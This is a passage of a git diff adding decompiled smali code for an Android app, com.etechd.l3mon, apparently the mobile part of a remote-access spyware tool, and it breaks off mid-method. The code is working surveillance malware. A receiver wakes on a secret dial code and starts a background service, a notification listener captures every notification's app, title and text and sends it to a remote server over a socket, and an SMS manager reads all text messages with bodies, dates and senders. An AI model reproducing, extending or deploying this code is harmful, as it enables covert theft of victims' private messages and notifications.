+.class public Lcom/etechd/l3mon/MyReceiver;
+.super Landroid/content/BroadcastReceiver;
+.source "MyReceiver.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 10
+ invoke-direct {p0}, Landroid/content/BroadcastReceiver;->()V
+
+ .line 11
+ return-void
+.end method
+
+
+# virtual methods
+.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 5
+ .param p1, "context" # Landroid/content/Context;
+ .param p2, "intent" # Landroid/content/Intent;
+
+ .line 18
+ invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
+
+ move-result-object v0
+
+ const-string v1, "android.provider.Telephony.SECRET_CODE"
+
+ invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v0
+
+ if-eqz v0, :cond_1
+
+ .line 19
+ invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String;
+
+ move-result-object v0
+
+ .line 20
+ .local v0, "uri":Ljava/lang/String;
+ const-string v1, "://"
+
+ invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
+
+ move-result-object v1
+
+ .line 21
+ .local v1, "sep":[Ljava/lang/String;
+ const/4 v2, 0x1
+
+ aget-object v3, v1, v2
+
+ const-string v4, "8088"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ .line 22
+ new-instance v2, Landroid/content/Intent;
+
+ const-string v3, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
+
+ invoke-direct {v2, v3}, Landroid/content/Intent;->(Ljava/lang/String;)V
+
+ invoke-virtual {p1, v2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
+
+ goto :goto_0
+
+ .line 23
+ :cond_0
+ aget-object v2, v1, v2
+
+ const-string v3, "5055"
+
+ invoke-virtual {v2, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
+
+ move-result v2
+
+ if-eqz v2, :cond_1
+
+ .line 24
+ new-instance v2, Landroid/content/Intent;
+
+ const-string v3, "package:com.etechd.l3mon"
+
+ invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v3
+
+ const-string v4, "android.settings.APPLICATION_DETAILS_SETTINGS"
+
+ invoke-direct {v2, v4, v3}, Landroid/content/Intent;->(Ljava/lang/String;Landroid/net/Uri;)V
+
+ .line 25
+ .local v2, "i":Landroid/content/Intent;
+ invoke-virtual {p1, v2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
+
+ .line 29
+ .end local v0 # "uri":Ljava/lang/String;
+ .end local v1 # "sep":[Ljava/lang/String;
+ .end local v2 # "i":Landroid/content/Intent;
+ :cond_1
+ :goto_0
+ new-instance v0, Landroid/content/Intent;
+
+ const-class v1, Lcom/etechd/l3mon/MainService;
+
+ invoke-direct {v0, p1, v1}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ move-object p2, v0
+
+ .line 30
+ invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+
+ .line 31
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/NotificationListener.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/NotificationListener.smali
new file mode 100644
index 0000000..818e012
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/NotificationListener.smali
@@ -0,0 +1,190 @@
+.class public Lcom/etechd/l3mon/NotificationListener;
+.super Landroid/service/notification/NotificationListenerService;
+.source "NotificationListener.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 15
+ invoke-direct {p0}, Landroid/service/notification/NotificationListenerService;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
+ .locals 1
+ .param p1, "intent" # Landroid/content/Intent;
+
+ .line 19
+ invoke-super {p0, p1}, Landroid/service/notification/NotificationListenerService;->onBind(Landroid/content/Intent;)Landroid/os/IBinder;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public onNotificationPosted(Landroid/service/notification/StatusBarNotification;)V
+ .locals 12
+ .param p1, "sbn" # Landroid/service/notification/StatusBarNotification;
+
+ .line 25
+ :try_start_0
+ invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPackageName()Ljava/lang/String;
+
+ move-result-object v0
+
+ .line 26
+ .local v0, "appName":Ljava/lang/String;
+ invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
+
+ move-result-object v1
+
+ iget-object v1, v1, Landroid/app/Notification;->extras:Landroid/os/Bundle;
+
+ const-string v2, "android.title"
+
+ invoke-virtual {v1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v1
+
+ .line 27
+ .local v1, "title":Ljava/lang/String;
+ invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
+
+ move-result-object v2
+
+ iget-object v2, v2, Landroid/app/Notification;->extras:Landroid/os/Bundle;
+
+ const-string v3, "android.text"
+
+ invoke-virtual {v2, v3}, Landroid/os/Bundle;->getCharSequence(Ljava/lang/String;)Ljava/lang/CharSequence;
+
+ move-result-object v2
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 28
+ .local v2, "contentCs":Ljava/lang/CharSequence;
+ const-string v3, ""
+
+ move-object v4, v3
+
+ .line 29
+ .local v4, "content":Ljava/lang/String;
+ if-eqz v2, :cond_0
+
+ :try_start_1
+ invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
+
+ move-result-object v5
+
+ move-object v4, v5
+
+ .line 30
+ :cond_0
+ invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPostTime()J
+
+ move-result-wide v5
+
+ .line 31
+ .local v5, "postTime":J
+ invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getKey()Ljava/lang/String;
+
+ move-result-object v7
+
+ .line 33
+ .local v7, "uniqueKey":Ljava/lang/String;
+ new-instance v8, Lorg/json/JSONObject;
+
+ invoke-direct {v8}, Lorg/json/JSONObject;->()V
+
+ .line 34
+ .local v8, "data":Lorg/json/JSONObject;
+ const-string v9, "appName"
+
+ invoke-virtual {v8, v9, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 35
+ const-string v9, "title"
+
+ invoke-virtual {v8, v9, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 36
+ const-string v9, "content"
+
+ new-instance v10, Ljava/lang/StringBuilder;
+
+ invoke-direct {v10}, Ljava/lang/StringBuilder;->()V
+
+ invoke-virtual {v10, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v10, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v8, v9, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 37
+ const-string v3, "postTime"
+
+ invoke-virtual {v8, v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
+
+ .line 38
+ const-string v3, "key"
+
+ invoke-virtual {v8, v3, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 39
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v3
+
+ invoke-virtual {v3}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v3
+
+ const-string v9, "0xNO"
+
+ const/4 v10, 0x1
+
+ new-array v10, v10, [Ljava/lang/Object;
+
+ const/4 v11, 0x0
+
+ aput-object v8, v10, v11
+
+ invoke-virtual {v3, v9, v10}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ .line 42
+ nop
+
+ .end local v0 # "appName":Ljava/lang/String;
+ .end local v1 # "title":Ljava/lang/String;
+ .end local v2 # "contentCs":Ljava/lang/CharSequence;
+ .end local v4 # "content":Ljava/lang/String;
+ .end local v5 # "postTime":J
+ .end local v7 # "uniqueKey":Ljava/lang/String;
+ .end local v8 # "data":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 40
+ :catch_0
+ move-exception v0
+
+ .line 41
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 43
+ .end local v0 # "e":Lorg/json/JSONException;
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/PermissionManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/PermissionManager.smali
new file mode 100644
index 0000000..b724e68
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/PermissionManager.smali
@@ -0,0 +1,141 @@
+.class public Lcom/etechd/l3mon/PermissionManager;
+.super Ljava/lang/Object;
+.source "PermissionManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 11
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static canIUse(Ljava/lang/String;)Z
+ .locals 2
+ .param p0, "perm" # Ljava/lang/String;
+
+ .line 28
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v0
+
+ sget-object v1, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v0, p0, v1}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ const/4 v0, 0x1
+
+ return v0
+
+ .line 29
+ :cond_0
+ const/4 v0, 0x0
+
+ return v0
+.end method
+
+.method public static getGrantedPermissions()Lorg/json/JSONObject;
+ .locals 5
+
+ .line 14
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 16
+ .local v0, "data":Lorg/json/JSONObject;
+ :try_start_0
+ new-instance v1, Lorg/json/JSONArray;
+
+ invoke-direct {v1}, Lorg/json/JSONArray;->()V
+
+ .line 17
+ .local v1, "perms":Lorg/json/JSONArray;
+ sget-object v2, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v2
+
+ sget-object v3, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
+
+ move-result-object v3
+
+ const/16 v4, 0x1000
+
+ invoke-virtual {v2, v3, v4}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
+
+ move-result-object v2
+
+ .line 18
+ .local v2, "pi":Landroid/content/pm/PackageInfo;
+ const/4 v3, 0x0
+
+ .local v3, "i":I
+ :goto_0
+ iget-object v4, v2, Landroid/content/pm/PackageInfo;->requestedPermissions:[Ljava/lang/String;
+
+ array-length v4, v4
+
+ if-ge v3, v4, :cond_1
+
+ .line 19
+ iget-object v4, v2, Landroid/content/pm/PackageInfo;->requestedPermissionsFlags:[I
+
+ aget v4, v4, v3
+
+ and-int/lit8 v4, v4, 0x2
+
+ if-eqz v4, :cond_0
+
+ iget-object v4, v2, Landroid/content/pm/PackageInfo;->requestedPermissions:[Ljava/lang/String;
+
+ aget-object v4, v4, v3
+
+ invoke-virtual {v1, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 18
+ :cond_0
+ add-int/lit8 v3, v3, 0x1
+
+ goto :goto_0
+
+ .line 21
+ .end local v3 # "i":I
+ :cond_1
+ const-string v3, "permissions"
+
+ invoke-virtual {v0, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 23
+ nop
+
+ .end local v1 # "perms":Lorg/json/JSONArray;
+ .end local v2 # "pi":Landroid/content/pm/PackageInfo;
+ goto :goto_1
+
+ .line 22
+ :catch_0
+ move-exception v1
+
+ .line 24
+ :goto_1
+ return-object v0
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$color.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$color.smali
new file mode 100644
index 0000000..c013e36
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$color.smali
@@ -0,0 +1,33 @@
+.class public final Lcom/etechd/l3mon/R$color;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "color"
+.end annotation
+
+
+# static fields
+.field public static final colorAccent:I = 0x7f010000
+
+.field public static final colorPrimary:I = 0x7f010001
+
+.field public static final colorPrimaryDark:I = 0x7f010002
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 11
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$dimen.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$dimen.smali
new file mode 100644
index 0000000..f9d29bc
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$dimen.smali
@@ -0,0 +1,31 @@
+.class public final Lcom/etechd/l3mon/R$dimen;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "dimen"
+.end annotation
+
+
+# static fields
+.field public static final activity_horizontal_margin:I = 0x7f020000
+
+.field public static final activity_vertical_margin:I = 0x7f020001
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 16
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$id.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$id.smali
new file mode 100644
index 0000000..24061a2
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$id.smali
@@ -0,0 +1,31 @@
+.class public final Lcom/etechd/l3mon/R$id;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "id"
+.end annotation
+
+
+# static fields
+.field public static final activity_main:I = 0x7f030000
+
+.field public static final progressBar:I = 0x7f030001
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 20
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$layout.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$layout.smali
new file mode 100644
index 0000000..f53026c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$layout.smali
@@ -0,0 +1,29 @@
+.class public final Lcom/etechd/l3mon/R$layout;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "layout"
+.end annotation
+
+
+# static fields
+.field public static final activity_main:I = 0x7f040000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 24
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$mipmap.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$mipmap.smali
new file mode 100644
index 0000000..aafa508
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$mipmap.smali
@@ -0,0 +1,29 @@
+.class public final Lcom/etechd/l3mon/R$mipmap;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "mipmap"
+.end annotation
+
+
+# static fields
+.field public static final ic_launcher:I = 0x7f050000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 27
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$string.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$string.smali
new file mode 100644
index 0000000..5fce684
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$string.smali
@@ -0,0 +1,29 @@
+.class public final Lcom/etechd/l3mon/R$string;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "string"
+.end annotation
+
+
+# static fields
+.field public static final app_name:I = 0x7f060000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 30
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R$style.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$style.smali
new file mode 100644
index 0000000..a4282d1
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R$style.smali
@@ -0,0 +1,29 @@
+.class public final Lcom/etechd/l3mon/R$style;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lcom/etechd/l3mon/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "style"
+.end annotation
+
+
+# static fields
+.field public static final AppTheme:I = 0x7f070000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 33
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/R.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/R.smali
new file mode 100644
index 0000000..03b915e
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/R.smali
@@ -0,0 +1,28 @@
+.class public final Lcom/etechd/l3mon/R;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lcom/etechd/l3mon/R$style;,
+ Lcom/etechd/l3mon/R$string;,
+ Lcom/etechd/l3mon/R$mipmap;,
+ Lcom/etechd/l3mon/R$layout;,
+ Lcom/etechd/l3mon/R$id;,
+ Lcom/etechd/l3mon/R$dimen;,
+ Lcom/etechd/l3mon/R$color;
+ }
+.end annotation
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 10
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/SMSManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/SMSManager.smali
new file mode 100644
index 0000000..07f915d
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/SMSManager.smali
@@ -0,0 +1,490 @@
+.class public Lcom/etechd/l3mon/SMSManager;
+.super Ljava/lang/Object;
+.source "SMSManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 12
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getsms()Lorg/json/JSONObject;
+ .locals 22
+
+ .line 15
+ const-string v0, "read"
+
+ const-string v1, "date"
+
+ const-string v2, "body"
+
+ const-string v3, "type"
+
+ const/4 v4, 0x0
+
+ .line 16
+ .local v4, "result":Lorg/json/JSONObject;
+ const/4 v5, 0x0
+
+ .line 20
+ .local v5, "jarray":Lorg/json/JSONArray;
+ :try_start_0
+ new-instance v6, Lorg/json/JSONArray;
+
+ invoke-direct {v6}, Lorg/json/JSONArray;->()V
+
+ move-object v5, v6
+
+ .line 22
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ move-object v4, v6
+
+ .line 23
+ const-string v6, "content://sms/"
+
+ invoke-static {v6}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v8
+
+ .line 24
+ .local v8, "uri":Landroid/net/Uri;
+ invoke-static {}, Lcom/etechd/l3mon/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v6
+
+ .line 25
+ .local v6, "act":Landroid/content/Context;
+ invoke-virtual {v6}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v7
+
+ const/4 v9, 0x0
+
+ const/4 v10, 0x0
+
+ const/4 v11, 0x0
+
+ const/4 v12, 0x0
+
+ invoke-virtual/range {v7 .. v12}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v7
+
+ .line 28
+ .local v7, "c":Landroid/database/Cursor;
+ invoke-interface {v7}, Landroid/database/Cursor;->moveToFirst()Z
+
+ move-result v9
+
+ if-eqz v9, :cond_3
+
+ .line 30
+ const/4 v9, 0x0
+
+ .local v9, "i":I
+ :goto_0
+ invoke-interface {v7}, Landroid/database/Cursor;->getCount()I
+
+ move-result v10
+
+ if-ge v9, v10, :cond_3
+
+ .line 32
+ invoke-interface {v7, v2}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v4, v2, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 34
+ invoke-interface {v7, v1}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v4, v1, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 35
+ invoke-interface {v7, v0}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v4, v0, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 36
+ invoke-interface {v7, v3}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v4, v3, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 37
+ invoke-interface {v7, v3}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ const-string v11, "3"
+
+ invoke-virtual {v10, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v10
+ :try_end_0
+ .catch Ljava/lang/IllegalArgumentException; {:try_start_0 .. :try_end_0} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ const-string v11, "address"
+
+ if-eqz v10, :cond_2
+
+ .line 38
+ :try_start_1
+ const-string v10, "thread_id"
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v7, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v10}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v10
+
+ .line 39
+ .local v10, "threadid":Ljava/lang/String;
+ invoke-virtual {v6}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v12
+
+ const-string v13, "content://mms-sms/conversations?simple=true"
+
+ invoke-static {v13}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v13
+
+ new-instance v15, Ljava/lang/StringBuilder;
+
+ invoke-direct {v15}, Ljava/lang/StringBuilder;->()V
+
+ const-string v14, "_id ="
+
+ invoke-virtual {v15, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v15, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v15
+
+ const/16 v17, 0x0
+
+ const/16 v18, 0x0
+
+ const/4 v14, 0x0
+
+ move-object/from16 v16, v17
+
+ move-object/from16 v17, v18
+
+ invoke-virtual/range {v12 .. v17}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v12
+
+ .line 40
+ .local v12, "cur":Landroid/database/Cursor;
+ invoke-interface {v12}, Landroid/database/Cursor;->moveToFirst()Z
+
+ move-result v13
+
+ if-eqz v13, :cond_0
+
+ .line 41
+ const-string v13, "recipient_ids"
+
+ invoke-interface {v12, v13}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v13
+
+ invoke-interface {v12, v13}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v13
+
+ invoke-virtual {v13}, Ljava/lang/String;->toString()Ljava/lang/String;
+
+ move-result-object v13
+
+ .line 42
+ .local v13, "recipientId":Ljava/lang/String;
+ invoke-virtual {v6}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v14
+
+ const-string v15, "content://mms-sms/canonical-addresses"
+
+ invoke-static {v15}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v15
+
+ const/16 v16, 0x0
+
+ move-object/from16 v20, v0
+
+ new-instance v0, Ljava/lang/StringBuilder;
+
+ invoke-direct {v0}, Ljava/lang/StringBuilder;->()V
+
+ move-object/from16 v21, v1
+
+ const-string v1, "_id = "
+
+ invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v17
+
+ const/16 v18, 0x0
+
+ const/16 v19, 0x0
+
+ invoke-virtual/range {v14 .. v19}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v0
+
+ .line 43
+ .end local v12 # "cur":Landroid/database/Cursor;
+ .local v0, "cur":Landroid/database/Cursor;
